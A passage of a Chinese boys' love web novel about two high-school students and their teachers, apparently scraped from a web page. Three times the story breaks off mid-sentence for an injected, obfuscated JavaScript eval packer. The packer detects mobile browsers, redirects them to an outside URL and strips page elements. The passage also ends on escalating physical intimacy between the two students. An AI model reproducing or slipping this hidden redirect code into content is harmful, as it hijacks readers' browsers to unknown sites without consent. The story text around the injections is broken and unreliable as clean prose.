沈月落的目光在那截脖颈上顿了顿,又飞快移开,落在讲台上的江涛身上——老班正埋着头批改作业,时不时抬头扫一眼教室,眼神锐利得很。 沈月落趁他低头的空档,猫着腰,像只偷溜的猫,“嗖”的一声猛地窜到秦玉旁边的空位上,椅子腿与地面摩擦发出轻微的“吱呀”声,惊得他心脏跳快了两拍。 他飞快地坐下,顺手将书包甩到桌肚底下,动作一气呵成,连大气都不敢喘一口,只用眼角的余光偷偷瞥了眼身旁的人。 秦玉本就昏昏欲睡,脑袋一点一点的,察觉到身旁有人落座,才勉强直了直身子,侧过头,声音带着刚睡醒的沙哑,轻飘飘吐出一个字:“早……” “早,早上好!”沈月落没想到秦玉会主动跟自己问好,嘴比脑子快,话音刚落,内心的激动才后知后觉涌上来,可还没等他酝酿出下一句话,就见秦玉的头已经扭了回去,重新埋进课本后的阴影里。 他傻不拉几地愣了两秒,才后知后觉地抬头,正好对上江涛扫过来的目光。 那眼神带着审视,沈月落心里一虚,又不动声色地移开视线,飞快从书包里掏出语文书,摊开在桌面上,跟着教室里的齐读声张了张嘴,装作融入早读的节奏。 江涛看他安分下来,也没多说什么,继续低头批改作业。 可沈月落自己也是一晚上没合眼,昨晚翻来覆去满脑子都是秦玉的身影,想他晚上打雷害不害怕。 这会儿被清晨的凉意和教室里单调的读书声一裹,困意像潮水般涌上来,挡都挡不住。 还没十分钟,他的头就开始不受控制地一点一点,眼皮重得像粘了胶水。 最后,他脑袋一歪,干脆利落地靠在了秦玉的肩膀上,温热的呼吸隔着薄薄的校服布料,轻轻拂在秦玉的胳膊上。 秦玉本就困得神志不清的,可被这突如其来的重量一撞,肩膀一僵,那股困意瞬间被惊得烟消云散。 他僵直着身子,目光落在靠在自己肩膀上的紫毛脑袋上——沈月落染的这头紫毛在阳光下格外扎眼,此刻却温顺地贴着他的肩,发丝蹭得他脖颈有些发痒。 他能清晰地感受到对方平稳的呼吸,还有透过布料传来的体温,暖融融的,带着点少年人特有的清爽气息。 秦玉的手指无意识地蜷了蜷…… 自己心里都有了疑问,为什么没有立刻推开他? 沈月落似乎睡得很沉,靠在他肩上的脑袋微微蹭了蹭,找了个更舒服的姿势,依旧保持着平稳的呼吸。 他看着沈月落,不知是处于好心还是怎么的……他将自己外套小心翼翼地搭在沈月落的身上。 他动作极轻,生怕惊醒了肩上的人顺势拉了拉衣角,遮住他露在外面的胳膊,指尖不经意间蹭到对方温热的皮肤,像被烫了似的缩了回来,耳尖又是悄悄泛起一层薄红。 做完这一切,秦玉才松了口气,刚平复下来的困意又像潮水般卷了回来,瞌睡虫嗡嗡地围着他转,眼皮重得几乎抬不起来。 他的座位刚好挨着墙,冰凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163955|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙面贴着后背,倒能稍稍驱散几分倦意,可身旁传来的平稳呼吸声,却带着一种莫名的安稳,让他紧绷的神经渐渐放松。 秦玉侧过头,看着靠在自己肩上睡得安稳的沈月落,紫毛脑袋乖乖地靠着他,外套下的肩膀微微耸起,像只蜷缩的小狗狗。 他慢慢往后靠,将后背贴在冰凉的墙壁上,脑袋轻轻抵着墙面,视线渐渐模糊。 沈月落靠着他的肩睡得沉,他靠着冰冷的墙壁,鼻尖萦绕着对方身上淡淡的皂角香,混着自己外套上的气息,竟奇异地让人安心。 困意彻底淹没了他,秦玉的眼皮缓缓合上,呼吸也渐渐变得平缓,与身旁人的呼吸节奏同步着。 也就又是三十多分钟,沈月落迷迷糊糊的醒了。 他感受到自己枕着的柔软,带着玫瑰诱人的清香,忍不住又拱了拱…… 一个顶级过肺:“这是什么……好香……” 他又蹭了蹭,感觉不对劲,抬头,睁大眼睛一瞧,是秦玉。 他这才意识到自己刚刚一直是靠在秦玉的肩膀上睡觉,身上还有他的校服外套,赶紧直起身。 “他的肩膀会不会被我靠酸了……”沈月落盯着秦玉被压得有些变形的肩头,心里涌上一股强烈的愧疚。 秦玉本就偏瘦,肩膀窄而挺,自己就这么靠着睡了大半节课,肯定累坏了。 沈月落的目光落在秦玉的短袖校服上。 自己占了他的外套,他却只穿着一件薄薄的短袖,后背还贴着冷墙,想想都觉得冷。 一股莫名的勇气涌上心头,沈月落小心翼翼地挪动身体,尽量放轻所有动作,伸出手臂,缓缓地、轻轻地将秦玉搂进怀里。 他是不是又在占秦玉的便宜,不知道…… 但他怀里的人儿,软乎乎的蹭了蹭,睡得更香了…… 秦玉在熟睡中,没了高冷的伪装……取而代之的是不明的脆弱和依赖…… 16. 罚站 不知道过了多久,反正还没到中午去食堂吃饭的时间。 教室后排的角落里,秦玉睫毛轻颤了两下,终于从睡意里挣脱出来。 意识回笼的瞬间,一股温热的触感紧贴着他的手臂和后背,带着熟悉的、淡淡的红酒味的信息素。 他心头一滞,疑惑地缓缓睁开眼,视线里瞬间被一张放大的俊脸填满。 沈月落的呼吸均匀地洒在他的额角,带着浅浅的暖意…… 而自己,竟然整个人蜷缩在他的怀里,脑袋靠在他的颈窝,手臂下意识地环着他的腰,姿态亲昵得不像话。 “!”秦玉瞳孔骤然收缩,脸颊瞬间涨得通红,像是被烧红的烙铁烫过一般,连耳根都泛起了热意。 他猛地回过神,下意识地用力挣扎,想要从沈月落的怀里退出来。 动作太急太猛,带动着身下的椅子腿在光滑的水泥地面上狠狠摩擦,发出“刺啦——”一声尖锐刺耳的声响,像是指甲划过黑板,瞬间划破了教室的宁静。 原本有些嘈杂的教室瞬间鸦雀无声。 他们坐在最后一排,秦玉上课睡觉低着头,沈月落又刻意挡着,老师讲课专注,一直没发现这后排的小动静。 可这一声巨响,像是投入平静湖面的石子,瞬间将所有目光都吸引了过来。 讲台上的老师停下了板书,皱着眉转过头,目光精准地锁定了最后一排。 教室里的同学们也纷纷顺着老师的视线看过去,几十道目光齐刷刷地落在秦玉和沈月落身上,带着好奇、惊讶,还有几分八卦的意味。 秦玉刚退到一半,动作猛地僵住,浑身的血液像是瞬间凝固了。 他能清晰地感受到那些落在身上的视线,灼热得像是要把他戳出两个洞来,脸颊的温度更是直线飙升,烫得他几乎要冒烟。 沈月落本就在走神儿,等他发现怀中空空时,已经晚了。 谁都不知道秦玉是怎么想的,他深吸一口气,像是下定了极大的决心,猛地从椅子上站起身。 沈月落刚要开口的话被堵在喉咙里,疑惑地看着他…… 秦玉没有回头,也没有看周围投来的任何目光,只是微微垂着眼,挺直了脊背,对着讲台上满脸错愕的老师深深鞠了一躬。 他的声音带着刚睡醒的沙哑,却异常清晰,每一个字都像是经过了反复斟酌,带着歉意又透着执拗:“抱歉老师,是我违反了课堂纪律,上课睡觉还弄出噪音,打扰了各位同学学习,我会按照班级条约去领罚的……” 话音落下,他没等老师回应,也没看教室里众人的反应,转身就朝着后门走去。 脚步不算快,却异常坚定,后背挺得笔直,像是在刻意掩饰着什么,只有耳尖那抹未褪的绯红,暴露了他此刻并不平静的心情。 “吱呀”一声,后门被轻轻拉开又合上,秦玉主动站在了走廊的墙壁边,背靠着冰冷的墙面,微微低着头,任由秋风卷起他额前的碎发,遮住了眼底复杂的情绪。 教室里彻底炸开了锅——不对,是彻底陷入了更诡异的寂静,只剩下满屋子的问号在空气中飘来飘去。 讲台上的老师手里还捏着粉笔,原本皱着的眉头彻底舒展开,取而代之的是满脸的茫然,眼睛瞪得圆圆的,嘴里无声地张了张,最后只化作一个大大的“???”。 他教书这么多年,上课睡觉的学生见得多了,闯祸后狡辩的、撒娇的、装可怜的应有尽有,可这么干脆利落主动认错、还直接主动去罚站的,还是头一回见。 底下的同学们更是面面相觑,眼神里全是大写的疑惑,不少人偷偷交换着眼神,嘴型无声地说着“什么情况”“秦大学霸怎么了”,满脑子都是“??????”,连八卦的心思都暂时压下去了,只剩下纯粹的震惊。 沈月落愣愣的看着秦玉的背影,随后猛地站起身,椅子腿再次摩擦地面,却没了刚才的刺耳,只剩下急促的声响。 他学着秦玉的样子,对着讲台上依旧处于懵圈状态的老师深深鞠了一躬,声音比秦玉更响亮,带着不容置疑的坚定:“老师, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163956|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也违反了课堂纪律……我也去领罚。” 说完,他也不等老师开口,转身就大步朝着后门走去,动作干脆利落,甚至比秦玉还要快几分。 “吱呀”——后门再次被拉开,沈月落几步就走到了走廊上,自然而然地站在了秦玉身边,和他隔着一拳的距离,同样背靠着墙壁,侧头看向身边低着头的人…… 教室里的老师彻底僵住了,手里的粉笔差点掉在地上。 他看着空荡荡的最后一排,又看了看走廊里并排站着的两个身影,眉头皱了又松,松了又皱,满脸的问号几乎要实体化,在头顶盘旋成了“??????”。 他教书生涯里的知识库,此刻完全无法解释眼前这诡异的一幕——两个学生上课睡觉,弄出噪音后不仅不认错狡辩,还争先恐后地主动罚站?这是什么新型班风建设吗? 同学们的反应更是精彩,他们所有人的眼神在老师和走廊的两人之间来回切换,满脑子的疑惑快要溢出来,心里的小人疯狂咆哮着“??????”,恨不得冲上去问问这两人到底在演哪出。 走廊上,秋风轻轻吹过,带着淡淡的桂花香。 秦玉感受到身边人的气息,身体微微一僵,却没有转头,只是依旧低着头,耳根的绯红似乎又深了几分。 沈月落侧头看着他泛红的耳尖,忍不住轻轻叹了口气,声音压得很低,只有两人能听见:“你怎么不等我?罚站这种事,哪有让你一个人来的道理。” 秦玉的肩膀颤了一下,没有说话,只是攥着衣角的指尖,悄悄放松了几分。 教室里,老师终于缓过神来,张了张嘴,却发现自己竟然不知道该说什么,最后只能对着走廊的方向,憋出一句:“你、你们……算了,站着吧!” 说完,他自己都觉得离谱,摇摇头,拿起粉笔,却半天没写出一个字,脑子里依旧全是盘旋的问号。 好歹二十分钟后就下课了,同学们也都陆陆续续的出了教室,去食堂吃饭,可这两个人却被老师叫到办公室喝茶了…… 17. 地下恋情?! 这节课正好是化学,是秦玉每次都稳拿满分的科目。对于今天秦玉的失态,连化学老师——文墨言都对此表示奇怪。 秦玉深知自己今天课上睡觉的表现,他不敢抬头,直视文墨言的目光。 站在旁边的沈月落跟他一样,也乖乖低着头。可他却又不老实的用指尖勾着秦玉的校服衣角,悄悄晃了晃…… 似乎是无声的安抚?? 文墨言坐在办公桌后,指尖轻点着桌面,目光在两个低着头的少年身上转了一圈。 他教了秦玉两年,这孩子向来冷静自持,化学试卷上的步骤永远工整得像印刷体,今日这般局促,显然是被身边的人带偏了节奏。 他本想开口说两句轻描淡写的提醒,毕竟二人主动去走廊罚站了十分钟,态度已经够诚恳。 “你们……” “老婆!我来了!” 清亮又带着点熟稔的嗓音猛地撞开办公室门,刘建民拎着一个保温桶,脚步轻快地迈进来,话音落了,才看清屋里除了文墨言,还站着两个半大的小子。 沈月落和秦玉几乎是同时猛地转头,三双眼睛在空中猝不及防对上,办公室里瞬间陷入了诡异的安静。 秦玉的瞳孔微微收缩,刘建民是他的数学老师,也是学校的主任,可他从没听说过刘主任又爱人,可他刚刚叫文老师……老婆??!! 文墨言今年三十五岁,身形挺拔,眉眼清隽,身上带着Alpha独有的沉稳气场,是学校里不少学生偷偷仰慕的对象;而刘建民已经五十一岁,比文墨言整整大了十六岁,这年龄差,还是双A恋,实在超出了两个少年的认知。 沈月落的震惊比秦玉更甚,他脸上的乖巧瞬间崩裂,瞪圆了眼睛,吃瓜的表情几乎要溢出来,连声音都拔高了几分:“老刘头儿,你没搞错吧?文老师是你爱人?!” 他跟刘建民相处了十八年,但从来没听过他有爱人,更别说爱人是比他小十六岁、还格外耀眼的男性Alpha。 刘建民手里的保温桶“哐当”一声撞在门框上,脸上的笑容瞬间僵住,尴尬像潮水一样漫上来,眼底的震惊混着慌乱,手脚都不知道该往哪儿放。 他今天特意炖了文墨言爱吃的汤,想着趁午休送过来,压根没料到秦玉和沈月落会在这里,那句亲昵的称呼,就这么被撞了个正着。 “我、我……”刘建民张了张嘴,脸颊竟然泛起了几分红晕,倒是少见的局促。 他下意识地整理了一下衣领,试图掩饰慌乱——其实他只是名字老土了些,跟其他学校那些每天挺着一个啤酒肚,发型是“地中海”的主任们不一样。 在刘建民年轻时也是跟沈华山齐名的校草,眉眼俊朗,气质温润。 如今虽添了些岁月的痕迹,眼角多了几道浅浅的皱纹,却更显成熟儒雅,身形依旧挺拔,丝毫没有老态,毕竟法拉利老了还是法拉利…… 文墨言显然也没料到刘建民会突然过来,眉眼处又柔和了几分,无奈地揉了揉眉心,对着两个目瞪口呆的少年,语气平静地打破了僵局:“别站着了,进来坐。” 沈月落跟秦玉,两人的眼睛还直勾勾地盯着刘建民和文墨言。 沈月落嘴里小声嘀咕着:“难怪老刘头儿每次路过化学教室都要多看两眼,原来不是看我们上课的情况,而是在看自己的爱人啊……” 可二人不知道的是,刘建民的手腕上总戴着那一块旧手表,表盘背面刻着一个小小的“文”字…… 刘建民被沈月落看得浑身不自在,赶紧把保温桶放在办公桌上,凑到文墨言身边,压低声音,带着点委屈和慌乱:“我不知道他们在这儿……” 文墨言拍了拍他的手背,目光转向两个少年,语气缓和了些:“刚才的事,算了……秦玉,你是一个成绩好的乖孩子,是不是最近累了?晚上没睡好?老师也念你是初犯,也不给你的惩罚了,下次要注意,知道了吗?” 秦玉猛地回过神,连忙点头,“嗯”了一声,声音轻得像蚊子哼。 说完秦玉,他又转头看向沈月落:“沈月落,你是刚刚转到这个班的学生,我也不太了解你的情况,就算你也是初犯,下次也不要犯同样的错误了。” 沈月落乖乖点头,应了一声:“好的老师,我知道了,下次不会犯了……” 他见两人的诚恳,满意的点了点头:“知错就好,都是好孩子。” 沈月落见文墨言说完了,就笑嘻嘻凑到刘建民身边,小声问道:“老刘头儿,你可以啊,藏得这么深,快说说,你跟文老师怎么认识的?” 刘建民被他问得脸更红,求助似的看向文墨言,文墨言眼底闪过一丝笑意,却没帮他解围,只是拿起桌上的教案,淡淡道:“你们要是没事,就先回教室,下午还有化学测验。” 秦玉一听“化学测验”,瞬间找回了状态,拉着还想追问的沈月落就往门口走,脚步都快了几分。 沈月落被他拉着,还不忘回头喊:“老刘头儿,晚上你来我家!你给我好好讲讲!我让我爸准备点儿好酒好菜!” 办公室的门被轻轻带上,隔绝了外面的喧闹。 刘建民这才松了口气,转身看向文墨言,无奈道:“都被这两个小子看见了。” 文墨言起身,从保温桶里拿出汤碗,盛了一碗温热的汤递给他,语气带着点宠溺:“看见就看见,又不是什么见不得人的事。” 刘建民接过汤碗,指尖触到温热的瓷壁,心里的慌乱渐渐散去,看着文墨言清隽的眉眼,忍不住笑了:“也是,我家爱人这么优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163957|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀,藏着掖着才可惜。” 刘建民听完文墨言的话,眼底笑意更深,他没再多说一个字,只是微微俯身,骨节分明的手掌轻轻扣住文墨言的后颈,带着不容抗拒的温柔力道,低头吻了下去。 文墨言刚放下汤碗,唇瓣就被温热柔软的触感覆盖,熟悉的气息瞬间将他包裹。 他微怔片刻,随即放松了身体,眼底的清冷彻底消融,化为满溢的纵容。 刘建民的吻不像年轻人那般急切,带着成熟Alpha独有的沉稳与掌控力,舌尖轻轻撬开他的牙关,温柔却坚定地探入,描摹着他的唇齿轮廓,带着恰到好处的侵略性,却又处处透着珍视。 文墨言抬手,指尖轻轻搭在刘建民的手腕上,没有推开,反而微微收紧,像是在回应这份亲昵。 他的身体微微后仰,靠在办公椅背上,睫毛轻轻颤动,脸颊泛起淡淡的红晕,平日里清冷的嗓音化为细碎的喘息,溢出唇角。 刘建民感受到他的回应,扣着后颈的手愈发温柔,另一只手揽住他的腰,将人轻轻带向自己,两人的距离贴得更近,彼此的体温相互交融,呼吸交织在一起,暧昧又缱绻。 办公室里静得能听见彼此的心跳声,窗外的阳光透过百叶窗,在两人身上投下斑驳的暖光,将刘建民棱角分明的侧脸和文墨言泛红的耳尖映照得格外清晰。 刘建民的吻渐渐放缓,不再有最初的试探,只剩下浓得化不开的宠溺,他轻轻咬了咬文墨言的下唇,力道轻柔得像是在撒娇,随后缓缓退开,额头抵着他的额头,呼吸灼热。 文墨言微微喘着气,眼底蒙着一层水光,看向刘建民的目光带着几分嗔怪,却更多的是依赖。他抬手,指尖轻轻蹭了蹭自己被吻得泛红的唇瓣,声音带着一丝不易察觉的沙哑:“都多大年纪了,还在办公室……” 刘建民低笑出声,胸腔的震动透过相贴的身体传递给文墨言,他收紧揽着腰的手,语气带着几分霸道又温柔的笑意:“在自己爱人面前,有什么不可以?”他低头,又在文墨言的唇角印下一个轻柔的吻,“何况,我想吻你,从来都不需要理由。” 文墨言别过脸,耳尖的红晕蔓延到脖颈,却没有推开他,只是轻轻“嗯”了一声,声音细若蚊蚋,却足以让刘建民听见。 刘建民看着他这副口是心非的模样,眼底的宠溺更甚,低头在他的发顶印下一个温柔的吻,动作轻柔得像是在呵护稀世珍宝…… 目光转回外面的两个少年,他们手拉着手……在楼道里,向食堂的方向奔跑着。 可能是因为秦玉急于下午的实验,抱着赶快吃完饭,好好去复习的想法,没太在意自己正拉着沈月落的手…… 沈月落也不说,他感受着秦玉手心的温度,嘴角扬着笑……心里又美了…… 18. 共进午餐 暮色漫过教学楼的走廊,窗户外的银杏叶被微风揉得沙沙响,混着同学的脚步声,格外热闹。 沈月落被他拉着,校服的衣角在奔跑中轻轻扬起,鬓边的紫色碎发贴在微红的耳侧。 他没说话,只是悄悄把手指蜷了蜷,贴合着秦玉软软的掌心,感受着那片滚烫的热意顺着指腹蔓延,心口像揣了颗泡在蜜里的小太阳,甜得发暖。 “欸,你看——” 走廊拐角处,两个刚吃完饭回来的同学并肩走着,视线无意间扫过奔跑的两人,脚步顿了顿,小声嘀咕着,眼神里藏不住好奇,忍不住多瞟了好几眼。 他们的目光落在秦玉和沈月落交握的手上,带着点少年人特有的八卦与疑惑,却没敢出声打扰。 那几道视线太过明显,秦玉正急着赶路,却还是敏锐地捕捉到了。 他下意识地顺着对方的目光低头,瞳孔猛地一缩——自己的手,竟然还牢牢攥着沈月落的手! 指节紧扣的弧度,掌心相贴的热意,还有沈月落微凉的指腹轻轻抵着他的皮肤,这些细节瞬间清晰地冲进脑海。 秦玉这才后知后觉地反应过来,从食堂出来到现在,他竟然拉着沈月落的手跑了这么久,还跑过了人来人往的走廊! “轰”的一声,热气瞬间从秦玉的脖颈窜到耳根,连脸颊都涨得通红,像被夕阳烧透了似的。他像被烫到一般,猛地松开了手,指尖仓促间划过沈月落的掌心,留下一道浅浅的热痕。 “抱歉,沈同学……” 沈月落的手突然空了,掌心残留的热意一点点褪去,心里难免掠过一丝小小的失落。但他看着秦玉慌乱得像只炸毛的小兔子,耳尖红得快要滴血,嘴角还是忍不住几不可察地勾了勾,声音轻得像风:“没事。” 秦玉不知道,他明明只跟沈月落相处了还不到两个星期,可只要两人有肢体上的接触,或是离的近些,他的心跳……就会加速…… 秦玉的脸颊还在持续发热。 “我、我先去帮你打饭!”他匆匆丢下一句话,转身就往楼下食堂的方向跑,脚步比刚才拉着沈月落时还要急,连背影都透着几分狼狈。 沈月落站在原地,看着那抹急匆匆的身影,嘴角缓缓勾起那一抹很浅很浅的笑意…… 他眼底盛着着的爱和宠溺将要溢出,太阳的光射进走廊,又将他包围。 他把刚才秦玉泛红的脸颊、慌乱躲闪的眼神,都一一妥帖地收进心里。 秦玉的反应,太明显……他自然是察觉了。 他不紧不慢地走着,前面那害羞的人慌乱地跑着…… 同学们基本都吃完饭了,食堂剩下的人不多。 出餐口没人排队,秦玉迅速地打好了两份饭菜。 他坐在位置上,不知道在跑什么神儿,打好的饭不吃,只是在这儿,呆呆地坐着。 沈月落慢慢悠悠地走着,估计有五分钟才过来…… 因为秦玉是背对着食堂大门的,沈月落脚一踏进门就看见他这副模样。 他眼底的笑意又深了几分,脚步下意识放轻,又忽然改了主意,快走两步绕过餐桌,没等秦玉反应过来,温热的手掌就从身后轻轻环住了他的腰,指腹轻轻蹭了蹭腰间细软的布料。 “你!”秦玉下了一跳,抬头看向搂着自己的人。 “秦同学,你刚刚在想什么呀~~”他微微弯腰,炽热的呼吸又转移到了秦玉的脖颈处…… 秦玉怎么也不能跟他说,自己还在因为刚刚……在害羞吧…… “没……没什么……”他不会撒谎,眼神微微躲闪着,明显的很…… “真的吗?” 沈月落又凑近几分…… 秦玉又被他搞得不好意思,侧低下头,转身推了推他。 “快吃饭啦……要不然就凉了……” 秦玉的高冷,在此刻好像消失了??!!取而代之的是害羞中带着撒娇,撒娇中又带着可爱??!! 沈月落看到秦玉的表现,心里开心的一批,但面儿上就笑笑。 他也松开了搂着秦玉的手,乖乖的坐在他对面,开始吃饭。 秦玉见他动了筷子,才跟着拿起自己的。 他吃得极慢,一小口饭,细细嚼上好一会儿,看他的样子就知道,他还在走神…… 沈月落伸出手,指尖轻缓地掠过他额前,拨弄了一下他的头发。 沈月落的指腹似有若无地擦过秦玉额头上肌肤,留下一点温热却又转瞬即逝的触感。 “秦同学……不快点吃吗?你待会不还要去复习吗?” 沈月落的声音带着点少年人特有的清润,落在微微有些嘈杂的饭堂里,却精准地钻进了秦玉的耳朵里。 “啊?哦,好的……” 秦玉连忙加快了吃饭的速度,白瓷碗里的米饭被他扒得有些急促,嘴角甚至沾了一点米粒。 沈月落坐在他对面,目光落在他清瘦的侧脸上,没忍住,伸手把自己餐盘里最大的一块糖醋排骨夹到了秦玉碗里,接着又夹了几块卤牛肉,直到秦玉的碗边堆起一小座“肉山”。 “你也吃,不用给我……”秦玉抬头,眼神有些无措,耳根悄悄泛起粉色。 他向来高冷,可最近与沈月落相处,好像有点“奇怪”。 毕竟沈月落照顾他的方式跟情侣没什么两样……他心捉摸不透,可害羞又更盛几分…… “你多吃点……看 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他连忙低下头,长长的睫毛垂下来,遮住了眼底的慌乱和懊恼,肩膀微微垮着,像一只做错事、等待惩罚的小狗,声音又小又软,却带着十足的诚恳,一遍遍地向秦玉道歉。指尖甚至紧张得攥起了桌布,指节泛出淡淡的白。 秦玉看着他这副可怜巴巴的样子,心里的那点别扭和羞恼,瞬间就被柔软的情绪取代了。 他自己也知道为什么,可自己就是最见不得沈月落这样,明明平时总是一副大大咧咧、敢说敢做的样子,一犯了错就蔫蔫的,让人狠不下心来责备。 “没事……”秦玉的声音低低的,比平时更软了几分,连他自己都没察觉到,语气里带着一丝连自己都没发现的纵容。 “真的没事儿吗?你不怪我吗?”沈月落听到他的话,眼睛瞬间亮了起来,猛地抬头看向秦玉,眼底还带着点没散去的慌张,像只得到赦免的小狗,小心翼翼地确认着。 秦玉被他这双湿漉漉的眼睛看得心跳漏了一拍,连忙移开目光,假装去扒碗里的饭,声音更轻了:“怪你干什么……” 话虽这么说,他的脸颊却更红了,连带着吃饭的动作都慢了下来,脑子里反复回放着沈月落刚才的话,还有那天在浴室里,沈月落温热的手掌贴在他腰上的触感,烫得他心尖都在发颤。 沈月落见他真的不生气了,悬着的心终于落了下来,却还是不敢再乱说话,只是安安静静地看着秦玉吃饭,时不时趁秦玉不注意,又往他碗里夹一块肉,嘴角偷偷勾起一个小小的、带着点窃喜的弧度。 饭堂里的人声渐渐恢复了喧闹。 他们二人的饭菜也已经吃完。 秦玉回到教室专心复习,沈月落也拿着书,像模像样的看着…… 19. 初雪 雪花从天空中飘落…… 一片,两片…… 起初还只是怯生生的,小朵小朵的雪花在空中打着旋儿,像怕惊扰了谁似的。 没一会儿,就渐渐稠密起来,漫天漫地的,像扯碎了的鹅毛,悠悠扬扬往下落。 教室里暖黄的灯光漫出窗棂,刚好笼住窗外这片安安静静的白。 老天爷像是特意掐着点似的,下课铃就这么不早不晚地响了。 清脆的铃声一下子撞碎了教室里凝滞的空气,少年们的脚步声、笑闹声顿时涌出来,顺着走廊往楼下淌。 沈月落和秦玉也混在人潮里,趴在走廊的栏杆上,仰着头往上望。 雪花簌簌往下飘,沾在栏杆上,转瞬就化了。 沈月落的目光从漫天飞雪上滑下来,落在秦玉的侧脸上——睫毛上落了点雪沫子,鼻尖冻得微红,线条干净又利落。目光再往下挪,就黏在了秦玉的嘴唇上。 “看起来……好好亲的样子……” 声音轻得像蚊子哼,也就他自己听得见。脑子里刚冒出来这个念头,手已经先一步行动,攥住秦玉的手腕就往楼下拽。 “沈月落!你干嘛!”秦玉被他拽得一个趔趄,惊得低呼一声,身体却诚实地跟着他的步子走。 “回家!” “什么?”秦玉满脑子问号,“现在?下午还有两节老刘头儿的课呢!” 沈月落脚步顿住,转过头看他,眉眼弯着,语气里带着少年人独有的、理直气壮的狡黠:“秦同学,咱不能光死磕学习啊。课什么时候不能补?初雪一年就这么一次,错过了,可就得等明年了。” 秦玉仰头看他,路灯的光落在沈月落脸上,毛茸茸的,看得他心头一跳。 他迟疑了几秒,耳根悄悄泛红:“好像……是有点道理……” “那走了走了!别被老刘头儿逮着,不然咱俩得站走廊罚一下午。” “嗯……” 两人相视一笑,脚步放轻,从走廊溜到操场。 雪已经落了薄薄一层,踩上去咯吱咯吱响。 他们不敢大声说话,憋着笑,猫着腰穿过空旷的操场,直奔学校后墙。 沈月落手脚麻利,三两下就翻了上去,稳稳地落在墙那头。 他转过身,张开双臂冲墙头上的人喊:“秦同学!跳下来!我接着你!” 秦玉以前没少跟他干这种事儿,可能没人知道为什么。但重要的是,论技术,他其实比沈月落还熟练几分。 他低头看着墙下张开怀抱的少年,雪粒子落在对方发梢上,亮晶晶的。 秦玉弯了弯唇角,顺着他的意,纵身一跃。 冷风擦着耳边掠过,下一瞬,就落进了一个带着暖意的怀抱里。 秦玉下意识搂住沈月落的脖子,沈月落则伸手揽住了他的腰,力道大得几乎要把人揉进骨子里。 “秦同学……”沈月落低头,鼻尖几乎要蹭到秦玉的额头。 “嗯?”秦玉仰头看他,呼吸都跟着放轻了。 雪花还在簌簌地落,落在两人的发梢、肩膀上,冷丝丝的风裹着雪的气息。 下一秒,一个温热的吻,轻轻落在了秦玉的额头上。 沈月落心里炸开一串烟花:我亲到他了。 秦玉的心跳漏了半拍,耳尖烫得惊人:他……亲我了。 两人就这么僵了几秒,直到校园里传来上课铃的预备铃,才猛地回过神。 “该回家了。”沈月落先开的口,声音有点哑。 秦玉抿了抿唇,点了点头:“嗯,快点走。” 沈家别墅离北华七中不远。 两人手牵着手,在漫天飞雪中往前跑。 围巾的流苏被风吹得扬起来,一黑一白,在雪地里格外显眼。 脖子上的围巾,是他们昨天刚交换的礼物。沈月落那条是他亲手织的,针脚歪歪扭扭,用了十几天才完工;秦玉那条用的毛线不如沈月落的柔软,却是他熬夜织出来的,针脚细密,藏着满当当的、没说出口的心思。 雪越下越大,把两人的头发染成了花白。 雪粒子落在沈月落的嘴唇上,冰冰凉凉的。 沈月落看着秦玉泛红的耳根,忽然觉得,今年的初雪,好像比往年的,都要甜一点。 两人踩着玄关的棉拖,一路静悄悄的,直到踏上二楼沈月落房间的木地板,才松了点肩颈的力道。 屋里的暖气烧得正足,一推开门,裹挟着松木香的暖意就涌了上来,把满身的寒风都驱散干净。 两人没说话,只是默契地抬手解外套扣子,厚得发胀的棉服被随手搭在床尾的靠背椅上,露出底下贴着皮肤的薄毛衣。 秦玉的毛衣是件米白色的,领口松松垮垮塌着一点,露出半截纤细的脖颈。 旁边那人穿的是纯黑的高领毛衣,料子软乎乎的,但是紧贴在身上的,正好显出他的宽肩窄腰、八块腹肌……真是没想到,沈月落的身材这么有料儿。 窗外的风还在呜呜地刮,屋里却静得能听见彼此浅浅的呼吸声。 两人隔着窗户玻璃,望着外面的飞雪…… “初雪……好看。”秦玉说道。 “雪好看……但玉更美……” “玉?什么玉?”他抬头看着沈月落,眼神中带着不解。 沈月落试探性的将他搂入怀中,秦玉没有拒绝,只是身子僵直了一瞬间,随后放松……主动抱住沈月落,脸颊贴在他的胸口偏上处。 他微微低头,炽热的呼吸喷洒在秦玉耳边,嘴唇也轻轻扫过他的耳垂:“秦同学……你自己的名字都忘了吗?” 也不知道秦玉是真的不知道,还是假的不知道,反正他抱着沈月落的手换了地方儿,搂住了沈月落的脖子,距离也随之拉进:“我叫秦玉。” “那……还是玉更美……” 沈月落右手搂着他的腰,左手伸进秦玉的毛衣,顺着他的脊柱……从下到上…… 